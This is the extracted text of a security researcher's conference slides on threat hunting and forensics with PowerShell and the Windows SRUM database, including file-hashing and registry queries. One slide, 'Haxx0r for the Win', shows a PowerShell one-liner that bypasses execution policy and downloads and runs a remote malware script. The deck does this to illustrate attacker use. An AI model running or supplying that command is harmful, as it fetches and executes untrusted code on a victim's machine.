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I am @Fvt…
› Security Advocate. Architect  & Threat Researcher 

focused on Data Protection
› 25+ years experience in InfoSec
› Spent number years in corporate IR team positions

   BSidesLondon Director
   ISSA UK – VP of Data Governance

› Contact
– tvfischer+sec@gmail.com  tvfischer@pm.me
– keybase.io/fvt

mailto:tvfischer+sec@gmail.com
https://www.youracclaim.com/badges/773ef5bb-146e-4916-a4da-6686f5fec585










Let’s build some requirements

› Non-intrusive

› Quick to use or deploy

› Minimal cost Useable dynamically 
investigating or 

hunting





PowerShell… Really? 

› Regex Support

› Built-in functionality

› Uses Objects for Data





Haxx0r for the Win

powershell.exe -ep Bypass -nop -noexit -c 
iex ((New ObjectNet.WebClient).DownloadString(‘https://[website]/malware.ps1′))





Awesome Start

› Finding things
– Registry

– Eventlog

– File system (ACL, NTFS-ADS, …)

› Runs in memory (no disk changes)

› Generally available on Win 7 and greater

› Lots of cool useful scripts out there



PowerForensics

› All inclusive framework for HD forensics
› Full API
› Useful

– Get-ForensicsAlternateDataStream
– Get-ForensicsEventLog
– Get-ForensicsPrefetch
– Get-ForensicsRecentFileCache

Thanks! @jaredcatkinson
https://github.com/Invoke-IR/PowerForensics

Requires a DLL to be installed

https://github.com/Invoke-IR/PowerForensics


Requires a DLL to be installed

PowerForensics

› All inclusive framework for HD forensics
› Full API
› Useful

– Get-ForensicsAlternateDataStream
– Get-ForensicsEventLog
– Get-ForensicsPrefetch
– Get-ForensicsRecentFileCache



PowerShell

Scripts

Hunting

Built-ins
• RegEx
• Registry
• Objects

Forensics

Foundations





Hello SRUM!
So What Else?



SRUM

› Windows System Resource Usage Monitor
– Process and Network Related metrics over time
– Diagnostic Policy Service

› Yogesh Khatri
– Published paper March 2015
– Forensic implications of System Resource Usage Monitor 

(SRUM) data in Windows 8

https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf
http://www.sciencedirect.com/science/article/pii/S17422876150 00031 

https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf


SRUM Details

› Windows 8 and above
› Monitors

› Desktop & windows applications; 

› Services;

› Network Connections

› Historical Database



SRUM

Application 
Resource 

Usage

Windows Push 
Notifications

Energy Usage
Network 

Connectivity

Network Data 
Usage

Monitoring — On by Default



Network – The What

Interface Type & ID
Network Profile ID
Bytes uploaded & 

downloaded
Processes consuming data

Includes user SID

Endpoint IP addresses/ports
Specific network activity



Application — The What

CPU Cycles
Context switches

I/O bytes read/written
Number of read operations
Number of write operations

Number of Flushes 
User Information 

SID of user who launched program

No Memory
Kernel info

Cache
Memory Threats, Handles



Application History

› UI provides a view 
to this

› View history for all 
processes

› Uninstalled 
processes are no 
longer on Disk



How it Works

\Windows\System32\sru\SRUDB.dat 



Temporary Storage in Registry
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SRUM\Extensions

00:60:00.000



Database is ESE

› Extensible Storage Engine
– Windows Update, AD, Windows Search, IE

› Location: 
c:\Windows\System32\sru\SRUDB.dat

Table Description

{DD6636C4-8929-4683-974E-22C046A43763} Network Connectivity data

{D10CA2FE-6FCF-4F6D-848E-B2E99266FA89} Application Resource usage data

{973F5D5C-1D90-4944-BE8E-24B94231A174} Network usage data 

{D10CA2FE-6FCF-4F6D-848E-B2E99266FA86} Windows Push Notification data

{FEE4E14F-02A9-4550-B5CE-5FA2DA202E37} 
{FEE4E14F-02A9-4550-B5CE-5FA2DA202E37} LT Energy usage data 

https://github.com/libyal/esedb-kb/blob/master/documentation/System%20Resource%20Usage%20Monitor%20(SRUM).asciidoc



Table: {973F5D5C-1D90-4944-BE8E-24B94231A174}
Network Data Usage Monitor 

Multiple datetime formats… 
       Seriously

SruDbIdMapTable

Pull from 
Registry



Table: {D10CA2FE-6FCF-4F6D-848E-B2E99266FA89}
Application Resource Usage 

Multiple datetime formats… 
       Seriously

SruDbIdMapTable



Table: SruDbIdMapTable



Data Interpretation

› GUIDs Galore (SID)
› UTC Timestamp Format can be OLE format (64bits) or 

FILETIME format (64bits)
› Network Identified with InterfaceLuid



The Forensics Angle
So What?



Understanding What Process Activity
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Add Energy usage and track Ransomware or Miners?



Better Process Runtime Mapping

› Common malicious act is to mess around with Prefetch
› Shows start time only

Graph by Y.Khatri 
https://www.sans.org/cyber-security-summit/archives/file/summi
t-archive-1492184583.pdf

https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf


Better Process Runtime Mapping

› Prefetch only proivdes last 8 starts
› SRUM adds visibility on did it run or not?

Graph by Y.Khatri 
https://www.sans.org/cyber-security-summit/archives/file/summi
t-archive-1492184583.pdf

https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf


Other Useful Trackables

› Map Process with User
› Map Process and Network Activity

– Data Exfiltration

› General Program Usage Investigation



Access All the Data

› SRUDB.dat - Admin locked
› Use libesedb for ESE to CSV
› srum-dump Tool

– Mark Baggett
– Extracts & generates XLS

All want a copy of the DB

Requires an image to be done

https://github.com/MarkBaggett/srum-dump
https://github.com/libyal/libesedb

https://github.com/MarkBaggett/srum-dump




Wait I have a solution...



Remember PowerShell - Cool Things!

› Support for dotNET
› C Libraries
› Loading DLLs



dotNET API for ESE

› Microsoft.NET version 4.0
› ISAM ESENT InterOp





Walk Thru: Access SRUM



https://docs.google.com/file/d/1iEaowJqkrmqyLwFtXooLP8fipyithwz4/preview




https://docs.google.com/file/d/1WlXN-md--Ro6K-iFxabB4oC6lIVmjxNN/preview










Building Scripts

Opens the 
database

Dumps the 
SruDbIdMapTable into 
4 objects

Pulls the data 
out of a table

List out the 
available 
tables



The Good, The Bad, ...

Next Steps

❏ Automate Data Processing
❏ Better extraction of GUID
❏ Need to pull REG entries

❏ Using PowerShell Remotely

❏ Build a Module 

Oh Noooooo

➔ Privilege escalation

➔ PowerShell Version Implications

➔ Windows Servers - Where is 
SRUM

➔ ???



...and that Damn Privacy 



...and that Damn Privacy 

https://docs.microsoft.com/en-gb/windows/privacy/configure-windows-diagnostic-data-in-your-organization



Hunting
For user activity

Hunting We Will Go

Network

Unusual process
Non-standard IDs
Weird Network 
Connections (e.g. 
VPN)

Applications

Usage
Who launched what
What ran when



Give me More Power(Shell)

ChildItem -Path 'c:\' -Recurse -Force -File  | Select-Object 
DirectoryName,Name,Length,@{N='Version';E={$_.VersionInfo.ProductVersio
n}},LastWriteTimeUtc,@{N='FileHash';E={(Get-FileHash 
$_.FullName).Hash}} | Sort-Object -Property DirectoryName,Name | 
Export-Csv -Path c:\temp\filehashes.csv -Encoding ascii 
-NoTypeInformation

where { $_.hash -ne (Get-FileHash -Path $_.path -Algorithm 
$_.algorithm).Hash } | Get-Item

Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR\*\* 
| Select FriendlyName



Hunting
For user activity
A mini-EDR tool?
osquery like

Hunting We Will Go

SRUM
Network
Unusual process
Non-standard IDs
Weird Network 
Connections (e.g. VPN)

SRUM 
Applications
Usage
Who launched what
What ran when

Applications
Find Files
Find Hashes

System
Searching Events
Configurations



@Fvt
› tvfischer+sec@gmail.com
› tvfischer@pm.me
› keybase.io/fvt

“identify pertinent information, prioritize it, draw 
conclusions from it, and communicate it...” 

Amy E. Herman

https://github.com/tvfischer/ps-srum-hunting
… currently under construction still needs a lot of work

59

mailto:tvfischer+sec@gmail.com

